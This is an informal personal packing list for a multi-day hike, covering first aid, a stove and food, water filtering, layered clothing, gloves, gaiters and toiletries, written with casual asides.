Basic first aid (usually I only bring blister packs. They can also be used to cover up wounds, anything more severe usually requires evac anyway)
Solar charger and/or battery pack
Repair kit and some cord
Walking poles
Glacier glasses / Snow goggles (depending on conditions)
Cooking and stuff
Stove + stove fuel + windshield for stove
Cooking pot
Sugary stuff to turn water into sports drink
Freeze dried food! (or whatever)
Water bottle and water bag for storing clean water when camping
Water filter (probably not needed, but never know)
Hiking boots
1 softshell pant
1 hardshell pant (for rain)
2 base layer shirts
1 mid layer fleece
1 insulation layer (i.e down jacket)
1 rain jacket
Something to keep head warm (balaclava in very cold and windy weather)
thin gloves (if gets chilly/windy)
big gloves (if very cold weather to pull over liner gloves)
Snow/Mud Gaithers
Other stuff
Camera to be famous on twitter
Tooth paste, tooth brush and a brick of soap used to wash clothes
Toilet Paper